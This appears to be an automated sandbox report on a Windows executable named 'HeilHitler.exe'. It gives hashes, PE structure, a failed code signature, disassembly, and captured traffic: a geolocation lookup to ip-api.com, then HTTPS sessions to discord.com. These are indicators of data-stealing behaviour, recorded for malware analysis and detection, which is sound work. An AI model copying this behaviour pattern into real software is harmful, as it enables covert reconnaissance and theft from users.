SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m1xf24sv.z5s.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mjfsbdwt.cgx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mjrbcsdi.ykh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r0xcisin.4td.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rwpafoiy.ys3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tlijf2mm.0j4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uqjigzwp.ahr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

\Device\ConDrv

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.331807756485642
Encrypted:	false
SSDEEP:	3:lyAZFXZDLsFzAXmZrCZDL4QXAVJK4v:lyqBtoJAXmoZDL4CA1v
MD5:	195D02DA13D597A52F848A9B28D871F6
SHA1:	D048766A802C61655B9689E953103236EACCB1C7
SHA-256:	ADE5C28A2B27B13EFB1145173481C1923CAF78648E49205E7F412A2BEFC7716A
SHA-512:	1B9EDA54315B0F8DB8E43EC6E78996464A90E84DE721611647E8395DBE259C282F06FB6384B08933F8F0B452B42E23EE5A7439974ACC5F53DAD64B08D39F4146
Malicious:	false
Preview:	..Service Version: 0.0.0.0..Engine Version: 0.0.0.0....No engine/signature is currently loaded...

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.989688354126539
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	HeilHitler.exe
File size:	6'251'402 bytes
MD5:	aeab677edfb0b7838ad440c071a04965
SHA1:	9855bbfe1e4d729853c1d3fd5e51a6d767cf8203
SHA256:	e465cccde051595262dc76359e4a06279341b4292901a49061cf9fa1386119df
SHA512:	567dd7cd29f4c35e0d99470628535fddb6f801ce36708003d9a6cc95a0933b613e221c07347040746e4ee174322c02b8da4c59828b79a963ff69c9378a735849
SSDEEP:	98304:0bEtdFBg0amaHl3Ne4i3gmtfXJOLhx9fZAzDJ4wzQgsRuGK4R0BMnM3JfFTW:0SFceN/FJMIDJf0gsAGK4R0un+TW
TLSH:	5F5633B023A448E2EDBB493EC857C89AD5B0B8050754DECF1370826A1F637594E7FB96
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Zpc.Zpc.Zpc...`.]pc...f..pc...g.Ppc.....Ypc...`.Spc...g.Kpc...f.rpc...b.Qpc.Zpb..pc.O.g.Cpc.O.a.[pc.RichZpc.........PE..d..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x14000cdb0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6726B539 [Sat Nov 2 23:26:49 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	72c4e339b7af8ab1ed2eb3821c98713a

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA EV R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	29/09/2021 01:00:00 29/09/2024 00:59:59
Subject Chain	CN=Akeo Consulting, O=Akeo Consulting, S=Donegal, C=IE, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=IE, SERIALNUMBER=407950
Version:	3
Thumbprint MD5:	5C82B2D08EFE6EE0794B52D4309C5F37
Thumbprint SHA-1:	3DBC3A2A0E9CE8803B422CFDBC60ACD33164965D
Thumbprint SHA-256:	60E992275CC7503A3EBA5D391DB8AEAAAB001402D49AEA3F7F5DA3706DF97327
Serial:	00BFB15001BBF592D4962A7797EA736FA3

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F2704E43A0Ch
dec eax
add esp, 28h
jmp 00007F2704E4362Fh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007F2704E43DD8h
test eax, eax
je 00007F2704E437D3h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007F2704E437B7h
dec eax
cmp ecx, eax
je 00007F2704E437C6h
xor eax, eax
dec eax
cmpxchg dword ptr [0003577Ch], ecx
jne 00007F2704E437A0h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007F2704E437A9h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007F2704E437B9h
mov byte ptr [00035765h], 00000001h
call 00007F2704E42F05h
call 00007F2704E441F0h
test al, al
jne 00007F2704E437B6h
xor al, al
jmp 00007F2704E437C6h
call 00007F2704E50D0Fh
test al, al
jne 00007F2704E437BBh
xor ecx, ecx
call 00007F2704E44200h
jmp 00007F2704E4379Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [0003572Ch], 00000000h
mov ebx, ecx
jne 00007F2704E43819h
cmp ecx, 01h
jnbe 00007F2704E4381Ch
call 00007F2704E43D4Eh
test eax, eax
je 00007F2704E437DAh
test ebx, ebx
jne 00007F2704E437D6h
dec eax
lea ecx, dword ptr [00035716h]
call 00007F2704E50B02h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3ca5c	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x47000	0x944	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x44000	0x2250	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x5f3f42	0x2448
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x48000	0x764	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3a080	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x39f40	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x4a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29f00	0x2a000	a6c3b829cc8eaabb1a474c227e90407f	False	0.5514206659226191	data	6.487493643901088	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0x12a50	0x12c00	9401ac65aa27d3b825eaa9a5193c2635	False	0.5245182291666667	data	5.752829645270396	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x53f8	0xe00	dba0caeecab624a0ccc0d577241601d1	False	0.134765625	data	1.8392217063172436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x44000	0x2250	0x2400	181312260a85d10a1454ba38901c499b	False	0.4705946180555556	data	5.290347578351011	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x47000	0x944	0xa00	e8658713401cf79474dadd6bd294884f	False	0.43046875	data	5.116289783193498	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x48000	0x764	0x800	816c68eeb419ee2c08656c31c06a0fff	False	0.5576171875	data	5.2809528666624175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x470a0	0x394	OpenPGP Secret Key			0.4650655021834061
RT_MANIFEST	0x47434	0x50d	XML 1.0 document, ASCII text			0.4694508894044857

Imports

DLL	Import
USER32.dll	CreateWindowExW, ShutdownBlockReasonCreate, MsgWaitForMultipleObjects, ShowWindow, DestroyWindow, RegisterClassW, DefWindowProcW, PeekMessageW, DispatchMessageW, TranslateMessage, PostMessageW, GetMessageW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	GetACP, IsValidCodePage, GetStringTypeW, GetFileAttributesExW, SetEnvironmentVariableW, FlushFileBuffers, GetCurrentDirectoryW, LCMapStringW, CompareStringW, FlsFree, GetOEMCP, GetCPInfo, GetModuleHandleW, MulDiv, FormatMessageW, GetLastError, GetModuleFileNameW, LoadLibraryExW, SetDllDirectoryW, CreateSymbolicLinkW, GetProcAddress, GetEnvironmentStringsW, GetCommandLineW, GetEnvironmentVariableW, ExpandEnvironmentStringsW, DeleteFileW, FindClose, FindFirstFileW, FindNextFileW, GetDriveTypeW, RemoveDirectoryW, GetTempPathW, CloseHandle, QueryPerformanceCounter, QueryPerformanceFrequency, WaitForSingleObject, Sleep, GetCurrentProcess, TerminateProcess, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LocalFree, SetConsoleCtrlHandler, K32EnumProcessModules, K32GetModuleFileNameExW, CreateFileW, FindFirstFileExW, GetFinalPathNameByHandleW, MultiByteToWideChar, WideCharToMultiByte, FlsSetValue, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, HeapReAlloc, WriteConsoleW, SetEndOfFile, CreateDirectoryW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ReadFile, GetFullPathNameW, SetStdHandle, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 15, 2024 10:44:33.852468014 CET	50936	80	192.168.2.4	208.95.112.1
Nov 15, 2024 10:44:33.857335091 CET	80	50936	208.95.112.1	192.168.2.4
Nov 15, 2024 10:44:33.857415915 CET	50936	80	192.168.2.4	208.95.112.1
Nov 15, 2024 10:44:33.857727051 CET	50936	80	192.168.2.4	208.95.112.1
Nov 15, 2024 10:44:33.862555027 CET	80	50936	208.95.112.1	192.168.2.4
Nov 15, 2024 10:44:34.504224062 CET	80	50936	208.95.112.1	192.168.2.4
Nov 15, 2024 10:44:34.550388098 CET	50936	80	192.168.2.4	208.95.112.1
Nov 15, 2024 10:44:34.890652895 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:34.890707016 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:34.890835047 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:34.920120001 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:34.920141935 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.528594017 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.529012918 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.529027939 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.529989004 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.530050993 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.530899048 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.530960083 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.531210899 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.531218052 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.531291962 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.531339884 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.531420946 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.531467915 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.531575918 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.531636000 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.531723976 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.531759024 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.531812906 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.531832933 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.531847954 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.531866074 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.531871080 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.531882048 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.531888008 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.531896114 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.531923056 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.531939983 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.531958103 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.531975985 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.531991005 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.532008886 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.532028913 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.532047987 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.532066107 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.532080889 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.532097101 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.532110929 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.532181978 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.532191038 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.532207966 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.532213926 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.532259941 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.532269001 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.532290936 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.532299995 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.532310963 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.532316923 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.532361984 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.532371998 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.532392979 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.532421112 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.532449007 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.532500029 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.532525063 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.532569885 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.532613039 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.532644987 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.532680988 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.541385889 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.541522980 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.541539907 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.541559935 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.541567087 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.541599989 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.541610003 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.541651011 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.541660070 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.541677952 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.541747093 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.541781902 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.541798115 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.541847944 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.541879892 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.541929960 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.541979074 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.542021036 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.546875000 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.547097921 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.547131062 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.547161102 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.547213078 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:35.547220945 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:35.547250032 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:36.359620094 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:36.359688044 CET	443	50937	162.159.128.233	192.168.2.4
Nov 15, 2024 10:44:36.359858036 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:36.360840082 CET	50937	443	192.168.2.4	162.159.128.233
Nov 15, 2024 10:44:36.379101992 CET	50936	80	192.168.2.4	208.95.112.1
Nov 15, 2024 10:44:36.384427071 CET	80	50936	208.95.112.1	192.168.2.4
Nov 15, 2024 10:44:36.384526968 CET	50936	80	192.168.2.4	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 15, 2024 10:44:23.530311108 CET	53	59993	1.1.1.1	192.168.2.4
Nov 15, 2024 10:44:33.844727993 CET	64228	53	192.168.2.4	1.1.1.1
Nov 15, 2024 10:44:33.851701021 CET	53	64228	1.1.1.1	192.168.2.4
Nov 15, 2024 10:44:34.877973080 CET	58411	53	192.168.2.4	1.1.1.1
Nov 15, 2024 10:44:34.884932041 CET	53	58411	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 15, 2024 10:44:33.844727993 CET	192.168.2.4	1.1.1.1	0xac15	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 10:44:34.877973080 CET	192.168.2.4	1.1.1.1	0xaea	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 15, 2024 10:44:19.434757948 CET	1.1.1.1	192.168.2.4	0x8895	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 15, 2024 10:44:19.434757948 CET	1.1.1.1	192.168.2.4	0x8895	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 15, 2024 10:44:33.851701021 CET	1.1.1.1	192.168.2.4	0xac15	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Nov 15, 2024 10:44:34.884932041 CET	1.1.1.1	192.168.2.4	0xaea	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Nov 15, 2024 10:44:34.884932041 CET	1.1.1.1	192.168.2.4	0xaea	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false
Nov 15, 2024 10:44:34.884932041 CET	1.1.1.1	192.168.2.4	0xaea	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Nov 15, 2024 10:44:34.884932041 CET	1.1.1.1	192.168.2.4	0xaea	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
Nov 15, 2024 10:44:34.884932041 CET	1.1.1.1	192.168.2.4	0xaea	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discord.com

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	50936	208.95.112.1	80	7448	C:\Users\user\Desktop\HeilHitler.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 10:44:33.857727051 CET	116	OUT	GET /json/?fields=225545 HTTP/1.1 Host: ip-api.com Accept-Encoding: identity User-Agent: python-urllib3/2.2.2
